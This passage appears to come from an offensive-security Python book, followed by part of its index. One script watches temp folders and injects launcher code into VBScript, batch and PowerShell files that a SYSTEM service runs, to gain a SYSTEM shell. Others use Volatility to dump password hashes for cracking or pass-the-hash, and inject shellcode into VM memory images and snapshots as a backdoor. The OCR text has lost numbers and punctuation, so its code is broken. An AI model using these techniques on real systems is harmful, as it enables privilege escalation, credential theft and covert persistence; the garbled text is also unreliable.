use of process monitoring will let us find processes that are utilizing external files insecurely
7,229
batch scriptsvbscriptand powershell scripts make system administratorslives easier by automating humdrum tasks their purpose can vary from continually registering to central inventory service to forcing updates of software from their own repositories one common problem is the lack of proper acls on these scripting files in number of caseson otherwise secure serversi've found batch scripts or powershell scripts that are run once day by the system user while being globally writable by any user if you run your process monitor long enough in an enterprise (or you simply install the example service provided in the beginning of this you might see process records that look like this,nt authority\system, :\windows\system \cscript exec:\windows\system \cscript exe /nologo " :\windows\temp\azndldsddfggg vbs", , ,sechangenotifyprivilege|seimpersonateprivilege|secreateglobal privilegeyou can see that system process has spawned the cscript exe binary and passed in the :\windows\temp\andldsddfggg vbs parameter the example service provided should generate these events once per minute if you do directory listingyou will not see this file present what is happening is that the service is creating random filenamepushing vbscript into the fileand then executing that vbscript 've seen this action performed by commercial software in number of casesand 've seen software that copies files into temporary locationexecuteand then delete those files in order to exploit this conditionwe have to effectively win race against the executing code when the software or scheduled task creates the filewe need to be able to inject our own code into the file before the process executes it and then ultimately deletes it the trick to this is the handy windows api called readdirectorychangeswwhich enables us to monitor directory for any changes to files or subdirectories we can also filter these events so that we're able to determine when the file has been "savedso we can quickly inject our code before it' executed it can be incredibly useful to simply keep an eye on all temporary directories for period of hours or longerbecause sometimes you'll find interesting bugs or information disclosures on top of potential privilege escalations let' begin by creating file monitorand then we'll build on that to automatically inject code create new file called file_monitor py and hammer out the followingmodified example that is originally given herehtml import tempfile import threading import win file import win con import os these are the common temp file directories dirs_to_monitor [" :\\windows\\temp",tempfile gettempdir()file modification constants file_created file_deleted file_modified file_renamed_from file_renamed_to def start_monitor(path_to_watch)
7,230
file_list_directory h_directory win file createfilepath_to_watchfile_list_directorywin con file_share_read win con file_share_write win con file_ share_deletenonewin con open_existingwin con file_flag_backup_semanticsnonewhile tryresults win file readdirectorychangeswh_directory truewin con file_notify_change_file_name win con file_notify_change_dir_name win con file_notify_change_attributes win con file_notify_change_size win con file_notify_change_last_write win con file_notify_change_securitynonenone for action,file_name in resultsfull_filename os path join(path_to_watchfile_nameif action =file_createdprint "created %sfull_filename elif action =file_deletedprint "deleted %sfull_filename elif action =file_modifiedprint "modified %sfull_filename dump out the file contents print "[vvvdumping contents tryfd open(full_filename,"rb"contents fd read(fd close(print contents print "[^^^dump complete exceptprint "[!!!failed elif action =file_renamed_fromprint "renamed from%sfull_filename elif action =file_renamed_toprint "renamed to%sfull_filename elseprint "[???unknown%sfull_filename exceptpass for path in dirs_to_monitormonitor_thread threading thread(target=start_monitor,args=(path,)print "spawning monitoring thread for path%spath monitor_thread start(we define list of directories that we' like to monitor which in our case are the two common temporary files directories keep in mind that there could be other places you want to keep an eye onso edit this list as you see fit for each of these pathswe'll create monitoring thread that calls the
7,231
wish to monitor we then call the readdirectorychangesw function which notifies us when change occurs we receive the filename of the target file that changed and the type of event that happened from here we print out useful information about what happened with that particular fileand if we detect that it' been modifiedwe dump out the contents of the file for reference
7,232
open cmd exe shell and run file_monitor pyc:\python exe file_monitor py open second cmd exe shell and execute the following commandsc:\cd %tempc:\docume~ \admini~ \locals~ \tempecho hello filetest :\docume~ \admini~ \locals~ \temprename filetest file test :\docume~ \admini~ \locals~ \tempdel file test you should see output that looks like the followingspawning monitoring thread for pathc:\windows\temp spawning monitoring thread for pathc:\docume~ \admini~ \locals~ \temp created :\docume~ \admini~ \locals~ \temp\filetest modified :\docume~ \admini~ \locals~ \temp\filetest [vvvdumping contents hello [^^^dump complete renamed fromc:\docume~ \admini~ \locals~ \temp\filetest renamed toc:\docume~ \admini~ \locals~ \temp\file test modified :\docume~ \admini~ \locals~ \temp\file test [vvvdumping contents hello [^^^dump complete deleted :\docume~ \admini~ \locals~ \temp\file ~ if all of the above has worked as plannedi encourage you to keep your file monitor running for hours on target system you may be surprised (or notto see files being createdexecutedand deleted you can also use your process-monitoring script to try to find interesting file paths to monitor as well software updates could be of particular interest let' move on and add the ability to automatically inject code into target file
7,233
now that we can monitor processes and file locationslet' take look at being able to automatically inject code into target files the most common scripting languages 've seen employed are vbscriptbatch filesand powershell we'll create very simple code snippets that spawn compiled version of our bhpnet py tool with the privilege level of the originating service there are vast array of nasty things you can do with these scripting languages;[ we'll create the general framework to do soand you can run wild from there let' modify our file_monitor py script and add the following code after the file modification constantsfile_types {command " :\\windows\\temp\\bhpnet exe - - -cfile_types[vbs'["\ \ 'bhpmarker\ \ ","\ \ncreateobject(\"wscript shell\"run(\"% \")\ \ncommandfile_types[bat'["\ \nrem bhpmarker\ \ ","\ \ % \ \ncommandfile_types[ps '["\ \ #bhpmarker","start-process \"% \"\ \ncommandfunction to handle the code injection def inject_code(full_filename,extension,contents)is our marker already in the fileif file_types[extension][ in contentsreturn no markerlet' inject the marker and code full_contents file_types[extension][ full_contents +file_types[extension][ full_contents +contents fd open(full_filename,"wb"fd write(full_contentsfd close(print "[\ /injected code return we start by defining dictionary of code snippets that match particular file extension that includes unique marker and the code we want to inject the reason we use marker is because we can get into an infinite loop whereby we see file modificationwe insert our code (which causes subsequent file modification event)and so forth this continues until the file gets gigantic and the hard drive begins to cry the next piece of code is our inject_code function that handles the actual code injection and file marker checking after we verify that the marker doesn' exist we write out the marker and the code we want the target process to run now we need to modify our main event loop to include our file extension check and the call to inject_code --snip-elif action =file_modifiedprint "modified %sfull_filename dump out the file contents print "[vvvdumping contents tryfd open(full_filename,"rb"contents fd read(fd close(
7,234
print "[^^^dump complete exceptprint "[!!!failed ###new code starts here filename,extension os path splitext(full_filenameif extension in file_typesinject_code(full_filename,extension,contents###end of new code --snip-this is pretty straightforward addition to our primary loop we do quick split of the file extension and then check it against our dictionary of known file types if the file extension is detected in our dictionarywe call our inject_code function let' take it for spin
7,235
if you installed the example vulnerable service at the beginning of this you can easily test your fancy new code injector make sure that the service is runningand simply execute your file_monitor py script eventuallyyou should see output indicating that vbs file has been created and modified and that code has been injected if all went wellyou should be able to run the bhpnet py script from to connect the listener you just spawned to make sure your privilege escalation workedconnect to the listener and check which user you are running as justin/bhpnet py - - whoami nt authority\system this will indicate that you have achieved the holy system account and that your code injection worked you may have reached the end of this thinking that some of these attacks are bit esoteric but the more time you spend inside large enterprisethe more you'll realize that these are quite viable attacks the tooling in this can all be easily expanded upon or turned into one-off specialty scripts that you can use in specific cases to compromise local account or application wmi alone can be an excellent source of local recon data that you can use to further an attack once you are inside network privilege escalation is an essential piece to any good trojan [ this code was adapted from the python wmi page ([ win _process class documentation[ msdn access tokens[ for the full list of privilegesvisit [ carlos perez does some amazing work with powershellsee
7,236
forensics folks are often called in after breachor to determine if an "incidenthas taken place at all they typically want snapshot of the affected machine' ram in order to capture cryptographic keys or other information that resides only in memory lucky for thema team of talented developers has created an entire python framework suitable for this task called volatilitybilled as an advanced memory forensics framework incident respondersforensic examinersand malware analysts can use volatility for variety of other tasks as wellincluding inspecting kernel objectsexamining and dumping processesand so on weof courseare more interested in the offensive capabilities that volatility provides we first explore using some of the command-line capabilities to retrieve password hashes from running vmware virtual machineand then show how we can automate this two-step process by including volatility in our scripts the final example shows how we can inject shellcode directly into running vm at precise location that we choose this technique can be useful to nail those paranoid users who browse or send emails only from vm we can also leave backdoor hidden in vm snapshot that will be executed when the administrator restores the vm this code injection method is also useful for running code on computer that has firewire port that you can access but which is locked or asleep and requires password let' get started
7,237
volatility is extremely easy to installyou just need to download it from keep it in local directory and add the directory to my working pathas you'll see in the following sections windows installer is also included choose the installation method of your choiceit should work fine whatever you do
7,238
volatility uses the concept of profiles to determine how to apply necessary signatures and offsets to pluck information out of memory dumps but if you can retrieve memory image from target via firewire or remotelyyou might not necessarily know the exact version of the operating system you're attacking thankfullyvolatility includes plugin called imageinfo that attempts to determine which profile you should use against the target you can run the plugin like sopython vol py imageinfo - "memorydump imgafter you run ityou should get good chunk of information back the most important line is the suggested profiles linewhich should look something like thissuggested profile(swinxpsp winxpsp when you're performing the next few exercises on targetyou should set the command-line flag -profile to the appropriate value shownstarting with the first one listed in the above scenariowe' usepython vol py plugin --profile="winxpsp arguments you'll know if you set the wrong profile because none of the plugins will function properlyor volatility will throw errors indicating that it couldn' find suitable address mapping
7,239
recovering the password hashes on windows machine after penetration is common goal among attackers these hashes can be cracked offline in an attempt to recover the target' passwordor they can be used in pass-the-hash attack to gain access to other network resources looking through the vms or snapshots on target is perfect place to attempt to recover these hashes whether the target is paranoid user who performs high-risk operations only on vm or an enterprise attempting to contain some of its user' activities to vmsthe vms present an excellent point to gather information after you've gained access to the host hardware volatility makes this recovery process extremely easy firstwe'll take look at how to operate the necessary plugins to retrieve the offsets in memory where the password hashes can be retrievedand then retrieve the hashes themselves then we'll create script to combine this into single step windows stores local passwords in the sam registry hive in hashed formatand alongside this the windows boot key stored in the system registry hive we need both of these hives in order to extract the hashes from memory image to startlet' run the hivelist plugin to make volatility extract the offsets in memory where these two hives live then we'll pass this information off to the hashdump plugin to do the actual hash extraction drop into your terminal and execute the following commandpython vol py hivelist --profile=winxpsp - "windowsxpsp vmemafter minute or twoyou should be presented with some output displaying where those registry hives live in memory clipped out portion of the output for brevity' sake virtual physical name --- xe ff \device\harddiskvolume \windows\system \config\software xe fedbb \device\harddiskvolume \windows\system \config\sam xe [no name xe cd \device\harddiskvolume \windows\system \config\system in the outputyou can see the virtual and physical memory offsets of both the sam and system keys in bold keep in mind that the virtual offset deals with where in memoryin relation to the operating systemthose hives exist the physical offset is the location in the actual vmem file on disk where those hives exist now that we have the sam and system hiveswe can pass the virtual offsets to the hashdump plugin go back to your terminal and enter the following commandnoting that your virtual addresses will be different than the ones show python vol py hashdump - - - "windowsxpsp vmem--profile=winxpsp - xe - xe adb running the above command should give you results much like the ones belowadministrator: : aaaddd ae dd : dfb fa ::guest: :aad ad ee: cfe ae ::helpassistant: :bf cf kdkkd : fbd ce fa ::support_ df: :aad eeaad ee: fc dcd fdaec fdfa aee::perfectwe can now send the hashes off to our favorite cracking tools or execute pass-the-hash to authenticate to other services now let' take this two-step process and streamline it into our own standalone script crack open grabhashes py and enter the following code
7,240
import struct import volatility conf as conf import volatility registry as registry memory_file "windowsxpsp vmemsys path append("/users/justin/downloads/volatility-"registry pluginimporter(config conf confobject(import volatility commands as commands import volatility addrspace as addrspace config parse_options(config profile "winxpsp config location "file://%smemory_file registry register_global_options(configcommands commandregistry register_global_options(configaddrspace baseaddressspacefirst we set variable to point to the memory image that we're going to analyze next we include our volatility download path so that our code can successfully import the volatility libraries the rest of the supporting code is just to set up our instance of volatility with profile and configuration options set as well now let' plumb in our actual hash-dumping code add the following lines to grabhashes py from volatility plugins registry registryapi import registryapi from volatility plugins registry lsadump import hashdump registry registryapi(configregistry populate_offsets(sam_offset none sys_offset none for offset in registry all_offsetsif registry all_offsets[offsetendswith("\\sam")sam_offset offset print "[*sam % xoffset if registry all_offsets[offsetendswith("\\system")sys_offset offset print "[*system % xoffset if sam_offset is not none and sys_offset is not noneconfig sys_offset sys_offset config sam_offset sam_offset hashdump hashdump(configfor hash in hashdump calculate()print hash break if sam_offset is none or sys_offset is noneprint "[*failed to find the system or sam offsets we first instantiate new instance of registryapi that' helper class with commonly used registry functionsit takes only the current configuration as parameter the populate_offsets call then performs the equivalent to running the hivelist command that we previously covered nextwe start walking through each of the discovered hives looking for the sam and system
7,241
offsets then we create hashdump object and pass in the current configuration object the final step is to iterate over the results from the calculate function callwhich produces the actual usernames and their associated hashes now run this script as standalone python filepython grabhashes py you should see the same output as when you ran the two plugins independently one tip suggest is that as you look to chain functionality together (or borrow existing functionality)grep through the volatility source code to see how they're doing things under the hood volatility isn' python library like scapybut by examining how the developers use their codeyou'll see how to properly use any classes or functions that they expose now let' move on to some simple reverse engineeringas well as targeted code injection to infect virtual machine
7,242
virtualization technology is being used more and more frequently as time goes onwhether because of paranoid userscross-platform requirements for office softwareor the concentration of services onto beefier hardware systems in each of these casesif you've compromised host system and you see vms in useit can be handy to climb inside them if you also see vm snapshot files lying aroundthey can be perfect place to implant shell-code as method for persistence if user reverts to snapshot that you've infectedyour shellcode will execute and you'll have fresh shell part of performing code injection into the guest is that we need to find an ideal spot to inject the code if you have the timea perfect place is to find the main service loop in system process because you're guaranteed high level of privilege on the vm and that your shellcode will be called the downside is that if you pick the wrong spotor your shellcode isn' written properlyyou could corrupt the process and get caught by the end user or kill the vm itself we're going to do some simple reverse engineering of the windows calculator application as starting target the first step is to load up calc exe in immunity debugger[ and write simple code coverage script that helps us find the button function the idea is that we can rapidly perform the reverse engineeringtest our code injection methodand easily reproduce the results using this as foundationyou could progress to finding trickier targets and injecting more advanced shellcode thenof coursefind computer that supports firewire and try it out therelet' get started with simple immunity debugger pycommand open new file on your windows xp vm and name it codecoverage py make sure to save the file in the main immunity debugger installation directory under the pycommands folder from immlib import class cc_hook(logbphook)def __init__(self)logbphook __init__(selfself imm debugger(def run(self,regs)self imm log("% xregs['eip'],regs['eip']self imm deletebreakpoint(regs['eip']return def main(args)imm debugger(calc imm getmodule("calc exe"imm analysecode(calc getcodebase()functions imm getallfunctions(calc getcodebase()hooker cc_hook(for function in functionshooker add("% xfunctionfunctionreturn "tracking % functions len(functionsthis is simple script that finds every function in calc exe and for each one sets one-shot
7,243
address of the function and then removes the breakpoint so that we don' continually log the same function addresses load calc exe in immunity debuggerbut don' run it yet then in the command bar at the bottom of immunity debugger' screenentercodecoverage now you can run the process by pressing the key if you switch to the log view (alt- )you'll see functions scroll by now click as many buttons as you wantexcept the button the idea is that you want to execute everything but the one function you're looking for after you've clicked around enoughright-click in the log view and select clear window this removes all of your previously hit functions you can verify this by clicking button you previously clickedyou shouldn' see anything appear in the log window now let' click that pesky button you should see only single entry in the log screen (you might have to enter an expression like + and then hit the buttonon my windows xp sp vmthis address is all rightour whirlwind tour of immunity debugger and some basic code coverage techniques is over and we have the address where we want to inject code let' start writing our volatility code to do this nasty business this is multistage process we first need to scan memory looking for the calc exe process and then hunt through its memory space for place to inject the shellcodeas well as to find the physical offset in the ram image that contains the function we previously found we then have to insert small jump over the function address for the button that jumps to our shellcode and executes it the shellcode we use for this example is from demonstration did at fantastic canadian security conference called countermeasure this shellcode is using hardcoded offsetsso your mileage may vary [ open new filename it code_inject pyand hammer out the following code import sys import struct equals_button memory_file "winxpsp vmemslack_space none trampoline_offset none read in our shellcode sc_fd open("cmeasure bin","rb"sc sc_fd read(sc_fd close(sys path append("/users/justin/downloads/volatility-"import volatility conf as conf import volatility registry as registry registry pluginimporter(config conf confobject(import volatility commands as commands import volatility addrspace as addrspace registry register_global_options(configcommands commandregistry register_global_options(configaddrspace baseaddressspaceconfig parse_options(config profile "winxpsp
7,244
this setup code is identical to the previous code you wrotewith the exception that we're reading in the shellcode that we will inject into the vm now let' put the rest of the code in place to actually perform the injection import volatility plugins taskmods as taskmods taskmods pslist(configfor process in calculate()if str(process imagefilename="calc exe"print "[*found calc exe with pid %dprocess uniqueprocessid print "[*hunting for physical offsets please wait address_space process get_process_address_space(pages address_space get_available_pages(we first instantiate new pslist class and pass in our current configuration the pslist module is responsible for walking through all of the running processes detected in the memory image we iterate over each process and if we discover calc exe processwe obtain its full address space and all of the process' memory pages now we're going to walk through the memory pages to find chunk of memory the same size as our shellcode that' filled with zeros as wellwe're looking for the virtual address of our button handler so that we can write our trampoline enter the following codebeing mindful of the indentation for page in pagesphysical address_space vtop(page[ ]if physical is not noneif slack_space is nonefd open(memory_file," +"fd seek(physicalbuf fd read(page[ ]tryoffset buf index("\ len(sc)slack_space page[ offset print "[*found good shellcode location!print "[*virtual address % xslack_space print "[*physical address % (physical offsetprint "[*injecting shellcode fd seek(physical offsetfd write(scfd flush(create our trampoline tramp "\xbb%sstruct pack("< "page[ offsettramp +"\xff\xe if trampoline_offset is not nonebreak exceptpass
7,245
check for our target code location if page[ <equals_button and equals_button ((page[ page[ ])- )print "[*found our trampoline target at % (physicalcalculate virtual offset v_offset equals_button page[ now calculate physical offset trampoline_offset physical v_offset print "[*found our trampoline target at % (trampoline_offsetif slack_space is not nonebreak print "[*writing trampoline fd open(memory_file" +"fd seek(trampoline_offsetfd write(trampfd close(print "[*done injecting code all rightlet' walk through what all of this code does when we iterate over each pagethe code returns two-member list where page[ is the address of the page and page[ is the size of the page in bytes as we walk through each page of memorywe first find the physical offset (remember the offset in the ram image on diskof where the page lies we then open the ram image seek to the offset of where the page isand then read in the entire page of memory we then attempt to find chunk of null bytes the same size as our shellcodethis is where we write the shellcode into the ram image after we've found suitable spot and injected the shellcodewe take the address of our shellcode and create small chunk of opcodes these opcodes yield the following assemblymov ebxaddress_of_shellcode jmp ebx keep in mind that you could use volatility' disassembly features to ensure that you disassemble the exact number of bytes that you require for your jumpand restore those bytes in your shellcode 'll leave this as homework assignment the final step of our code is to test whether our button function resides in the current page that we're iterating over if we find itwe calculate the offset and then write out our trampoline we now have our trampoline in place that should transfer execution to the shellcode we placed in the ram image
7,246
the first step is to close immunity debugger if it' still running and close any instances of calc exe now fire up calc exe and run your code injection script you should see output like thispython code_inject py [*found calc exe with pid [*hunting for physical offsets please wait [*found good shellcode location[*virtual address [*physical address [*injecting shellcode [*found our trampoline target at abccd [*writing trampoline [*done injecting code beautifulit should show that it found all of the offsetsand injected the shellcode to test itsimply drop into your vm and do quick + and hit the button you should see message pop upnow you can try to reverse engineer other applications or services aside from calc exe to try this technique against you can also extend this technique to try manipulating kernel objects which can mimic rootkit behavior these techniques can be fun way to become familiar with memory forensicsand they're also useful for situations where you have physical access to machines or have popped server hosting numerous vms [ download immunity debugger here[ if you want to write your own messagebox shellcodesee this tutorial
7,247
gi ta link in an index entry is displayed as the section title in which that entry appears because some sections have multiple index markersit is not unusual for an entry to have several links to the same section clicking on any link will take you directly to the place in the text in which the marker appears address resolution protocolarp cache poisoning with scapy (see arp cache poisoningadjusttokenprivileges functionwindows token privileges af_inet parameterthe networkbasics arp (address resolution protocolcache poisoningarp cache poisoning with scapyarp cache poisoning with scapyarp cache poisoning with scapyarp cache poisoning with scapyarp cache poisoning with scapy adding supporting functionsarp cache poisoning with scapy coding poisoning scriptarp cache poisoning with scapy inspecting cachearp cache poisoning with scapy testingarp cache poisoning with scapy bhpfuzzer classburp fuzzing bing search enginekicking the tiresbing for burpbing for burpbing for burpbing for burpbing for burp defining extender classbing for burp functionality to parse resultsbing for burp functionality to perform querybing for burp testingbing for burpbing for burp bing_menu functionbing for burp bing_search functionbing for burp biondiphilippeowning the network with scapy bitblt functiontaking screenshots browser helper objectscreating the server brute force attackskicking the tiresbrute-forcing directories and file locationsbrute-forcing directories and file locationsbrute-forcing directories and file locationsbrute-forcing directories and file locationsbrute-forcing directories and file locationsbrute-forcing html
7,248
authenticationbrute-forcing html form authenticationbrute-forcing html form authenticationbrute-forcing html form authenticationbrute-forcing html form authenticationkicking the tires in html form authenticationbrute-forcing html form authenticationbrute-forcing html form authenticationbrute-forcing html form authenticationbrute-forcing html form authenticationbrute-forcing html form authenticationbrute-forcing html form authenticationbrute-forcing html form authenticationkicking the tires administrator login formbrute-forcing html form authentication general settingsbrute-forcing html form authentication html parsing classbrute-forcing html form authentication pasting in wordlistbrute-forcing html form authentication primary brute-forcing classbrute-forcing html form authentication request flowbrute-forcing html form authentication testingkicking the tires on directories and file locationskicking the tiresbrute-forcing directories and file locationsbrute-forcing directories and file locationsbrute-forcing directories and file locationsbrute-forcing directories and file locationsbrute-forcing directories and file locations applying list of extensions to test forbrute-forcing directories and file locations creating list of extensionsbrute-forcing directories and file locations creating queue objects out of wordlist filesbrute-forcing directories and file locations setting up wordlistbrute-forcing directories and file locations testingbrute-forcing directories and file locations build_wordlist functionbrute-forcing html form authentication burp extender apiextending burp proxyextending burp proxyextending burp proxyburp fuzzingburp fuzzingburp fuzzingburp fuzzingburp fuzzingburp fuzzingburp fuzzingburp fuzzingkicking the tireskicking the tireskicking the tireskicking the tiresbing for burpbing for burpbing for burpbing for burpbing for burpturning website content into password goldturning website content into password goldturning website content into password goldturning website content into password goldturning website content into password gold
7,249
website content into password goldturning website content into password goldturning website content into password goldturning website content into password gold converting selected http traffic into wordlistturning website content into password gold functionality to display wordlistturning website content into password gold testingturning website content into password goldturning website content into password gold creating web application fuzzersburp fuzzingburp fuzzingburp fuzzingburp fuzzingburp fuzzingburp fuzzingkicking the tireskicking the tireskicking the tires accessing burp documentationburp fuzzing implementing code to meet requirementsburp fuzzing loading extensionburp fuzzingburp fuzzing simple fuzzerburp fuzzing using extension in attackskicking the tireskicking the tireskicking the tires installingextending burp proxyburp fuzzing interfacing with bing api to show all virtual hostskicking the tiresbing for burpbing for burpbing for burpbing for burpbing for burp defining extender classbing for burp functionality to parse resultsbing for burp functionality to perform querybing for burp testingbing for burpbing for burp jython standalone jar fileextending burp proxyburp fuzzing burpextender classburp fuzzing cain and abelkicking the tires canvaspythonic shellcode executionpythonic shellcode execution channel methodssh tunneling clientconnected messagessh with paramiko code injectionkicking the tiresdirect code injection offensive forensics automationdirect code injection windows privilege escalationkicking the tires config directorygithub command and control
7,250
content-length headerman-in-the-browser (kind ofcount parameterowning the network with scapy createmenuitem functionbing for burp createnewinstance functionburp fuzzing createprocess functioncreating process monitor credrequesthandler classman-in-the-browser (kind ofctypes moduledecoding the ip layer data directorygithub command and control debug probe tabwingidewingide destination unreachable messagekicking the tiresdecoding icmp dirbuster projectkicking the tires dir_bruter functionbrute-forcing directories and file locations display_wordlist functionturning website content into password gold easy_install functioninstalling kali linux el jefe projectcreating process monitor encrypt_post functionie com automation for exfiltration encrypt_string functionie com automation for exfiltration environment setupsetting up your python environmentinstalling kali linuxinstalling kali linuxinstalling kali linuxinstalling kali linuxinstalling kali linuxinstalling kali linuxinstalling kali linuxinstalling kali linuxwingidewingidewingidewingidewingidewingidewingidewingidewingidewingidewingide
7,251
installing kali linuxinstalling kali linux default username and passwordinstalling kali linux desktop environmentinstalling kali linux determining versioninstalling kali linux downloading imageinstalling kali linux general discussioninstalling kali linux wingideinstalling kali linuxinstalling kali linuxwingidewingidewingidewingidewingidewingidewingidewingidewingidewingidewingide accessingwingide fixing missing dependencieswingide general discussioninstalling kali linux inspecting and modifying local variableswingidewingide installingwingide opening blank python filewingide setting breakpointswingide setting script for debuggingwingidewingide viewing stack tracewingidewingide errors tabburpkicking the tires exfiltrate functionie com automation for exfiltration exfiltrationcreating the serverie com automation for exfiltrationie com automation for exfiltrationie com automation for exfiltrationie com automation for exfiltrationie com automation for exfiltrationie com automation for exfiltration encryption routinesie com automation for exfiltration key generation scriptie com automation for exfiltration login functionalityie com automation for exfiltration posting functionalityie com automation for exfiltration supporting functionsie com automation for exfiltration testingie com automation for exfiltration extender tabburpburp fuzzingkicking the tireskicking the tires extract_image functionpcap processing
7,252
fidaochrispcap processing filecookiejar classbrute-forcing html form authentication filter parameterowning the network with scapy find_module functionhacking python' import functionality forward ssh tunnelingkicking the tireskicking the tires frischdanwindows privilege escalation gdi (windows graphics device interface)kicking the tires get requeststhe socket library of the weburllib getasynckeystate functionsandbox detection getforegroundwindow functionkeylogging for fun and keystrokes getgeneratorname functionburp fuzzing getlastinputinfo functionsandbox detection getnextpayload functionburp fuzzing getowner functionprocess monitoring with wmi gettickcount functionsandbox detection getwindowdc functiontaking screenshots getwindowtexta functionkeylogging for fun and keystrokes getwindowthreadprocessid functionkeylogging for fun and keystrokes get_file_contents functionbuilding github-aware trojan get_http_headers functionpcap processing get_mac functionarp cache poisoning with scapy get_trojan_config functionbuilding github-aware trojan get_words functionturning website content into password gold github-aware trojansgithub command and controlgithub command and controlcreating modulestrojan configurationbuilding github-aware trojanhacking python' import functionalityhacking python' import functionalitykicking the tires
7,253
buildingbuilding github-aware trojan configuringtrojan configuration creating modulescreating modules hacking import functionalityhacking python' import functionality improvements and enhancements tokicking the tires testinghacking python' import functionality github moduleinstalling kali linux gitimporter classhacking python' import functionality handle_client functiontcp server handle_comment functionturning website content into password gold handle_data functionbrute-forcing html form authenticationturning website content into password gold handle_endtag functionbrute-forcing html form authentication handle_starttag functionbrute-forcing html form authentication hashdump objectgrabbing password hashes hashdump plugingrabbing password hashes hasmorepayloads functionburp fuzzing hex dumping functionbuilding tcp proxy hivelist plugingrabbing password hashes hookmanager classkeylogging for fun and keystrokes html form authenticationbrute forcingbrute-forcing html form authenticationbrute-forcing html form authenticationbrute-forcing html form authenticationbrute-forcing html form authenticationbrute-forcing html form authenticationbrute-forcing html form authenticationbrute-forcing html form authenticationkicking the tires
7,254
general settingsbrute-forcing html form authentication html parsing classbrute-forcing html form authentication pasting in wordlistbrute-forcing html form authentication primary brute-forcing classbrute-forcing html form authentication request flowbrute-forcing html form authentication testingkicking the tires htmlparser classbrute-forcing html form authenticationbrute-forcing html form authenticationturning website content into password gold http history tabburpkicking the tireskicking the tires iburpextender classburp fuzzingbing for burp icmp message decoding routinekicking the tireskicking the tireskicking the tiresdecoding icmpdecoding icmpdecoding icmpdecoding icmp destination unreachable messagekicking the tiresdecoding icmp length calculationdecoding icmp message elementskicking the tires sending udp datagrams and interpreting resultsdecoding icmp testingdecoding icmp icontextmenufactory classbing for burp icontextmenuinvocation classbing for burp iexplore exe processcreating the server iface parameterowning the network with scapy iintruderpayloadgenerator classburp fuzzing iintruderpayloadgeneratorfactory classburp fuzzing image carving scriptkicking the tirespcap processingpcap processingpcap processingpcap processing adding facial detection codepcap processing adding supporting functionspcap processing coding processing scriptpcap processing testingpcap processing
7,255
imap credentialsstealingowning the network with scapystealing email credentials immunity debuggerdirect code injectiondirect code injection imp modulehacking python' import functionality __init__ methoddecoding the ip layer inject_code functioncode injection input tagsbrute-forcing html form authentication input/output control (ioctl)packet sniffing on windows and linuxpacket sniffing on windows and linux internet explorer com automationfun with internet explorerman-in-the-browser (kind of)manin-the-browser (kind of)man-in-the-browser (kind of)man-in-the-browser (kind of)man-inthe-browser (kind of)man-in-the-browser (kind of)creating the servercreating the serverie com automation for exfiltrationie com automation for exfiltrationie com automation for exfiltrationie com automation for exfiltrationie com automation for exfiltrationie com automation for exfiltration exfiltrationcreating the serverie com automation for exfiltrationie com automation for exfiltrationie com automation for exfiltrationie com automation for exfiltrationie com automation for exfiltrationie com automation for exfiltration encryption routinesie com automation for exfiltration key generation scriptie com automation for exfiltration login functionalityie com automation for exfiltration posting functionalityie com automation for exfiltration supporting functionsie com automation for exfiltration testingie com automation for exfiltration man-in-the-browser attacksman-in-the-browser (kind of)man-in-the-browser (kind of)manin-the-browser (kind of)man-in-the-browser (kind of)man-in-the-browser (kind of)manin-the-browser (kind of)creating the server creating http serverman-in-the-browser (kind ofdefinedman-in-the-browser (kind ofmain loopman-in-the-browser (kind ofsupport structure forman-in-the-browser (kind oftestingcreating the server waiting for browser functionalityman-in-the-browser (kind ofintruder tabburpkicking the tireskicking the tires
7,256
ioctl (input/output control)packet sniffing on windows and linuxpacket sniffing on windows and linux ip header decoding routinepacket sniffing on windows and linuxdecoding the ip layerdecoding the ip layerdecoding the ip layerdecoding the ip layer avoiding bit manipulationdecoding the ip layer human-readable protocoldecoding the ip layer testingdecoding the ip layer typical ipv header structuredecoding the ip layer janzencliffwindows privilege escalation json formattrojan configuration jython standalone jar fileextending burp proxyburp fuzzing kali linuxinstalling kali linuxinstalling kali linuxinstalling kali linuxinstalling kali linuxinstalling kali linuxinstalling kali linux default username and passwordinstalling kali linux desktop environmentinstalling kali linux determining versioninstalling kali linux downloading imageinstalling kali linux general discussioninstalling kali linux installing packagesinstalling kali linux keydown eventkeylogging for fun and keystrokes keyloggingkeylogging for fun and keystrokes keystroke functionkeylogging for fun and keystrokes khraishussamssh with paramiko kuczmarskikarolhacking python' import functionality lastinputinfo structuresandbox detection load_module functionhacking python' import functionality login_form_index functionman-in-the-browser (kind of
7,257
logout_form functionman-in-the-browser (kind oflogout_url functionman-in-the-browser (kind ofm man-in-the-browser (mitbattacksman-in-the-browser (kind of)man-in-the-browser (kind of)man-in-the-browser (kind of)man-in-the-browser (kind of)man-in-the-browser (kind of)man-in-the-browser (kind of)creating the server creating http serverman-in-the-browser (kind ofdefinedman-in-the-browser (kind ofmain loopman-in-the-browser (kind ofsupport structure forman-in-the-browser (kind oftestingcreating the server waiting for browser functionalityman-in-the-browser (kind ofman-in-the-middle (mitmattacksarp cache poisoning with scapyarp cache poisoning with scapyarp cache poisoning with scapyarp cache poisoning with scapyarp cache poisoning with scapy adding supporting functionsarp cache poisoning with scapy coding poisoning scriptarp cache poisoning with scapy inspecting cachearp cache poisoning with scapy testingarp cache poisoning with scapy mangle functionturning website content into password gold metasploitpythonic shellcode execution microsoftkicking the tires (see bing search engineinternet explorer com automationmitb attacksman-in-the-browser (kind of(see man-in-the-browser attacksmitm attacksarp cache poisoning with scapy (see man-in-the-middle attacksmodules directorygithub command and control module_runner functionhacking python' import functionality mutate_payload functionburp fuzzing nathookarimman-in-the-browser (kind ofnetaddr moduledecoding icmpkicking the tires
7,258
replacing netcatreplacing netcatreplacing netcatreplacing netcatreplacing netcatreplacing netcatreplacing netcat adding client codereplacing netcat calling functionsreplacing netcat command execution functionalityreplacing netcat command shellreplacing netcat creating main functionreplacing netcat creating primary server loopreplacing netcat creating stub functionreplacing netcat file upload functionalityreplacing netcat importing librariestcp server setting global variablestcp server testingreplacing netcat network basicsthe networkbasicsthe networkbasicstcp clienttcp servertcp serverkicking the tireskicking the tiresbuilding tcp proxybuilding tcp proxybuilding tcp proxyssh with paramikossh with paramikossh with paramikossh with paramikossh with paramikossh with paramikokicking the tireskicking the tireskicking the tireskicking the tiresssh tunnelingssh tunnelingssh tunneling
7,259
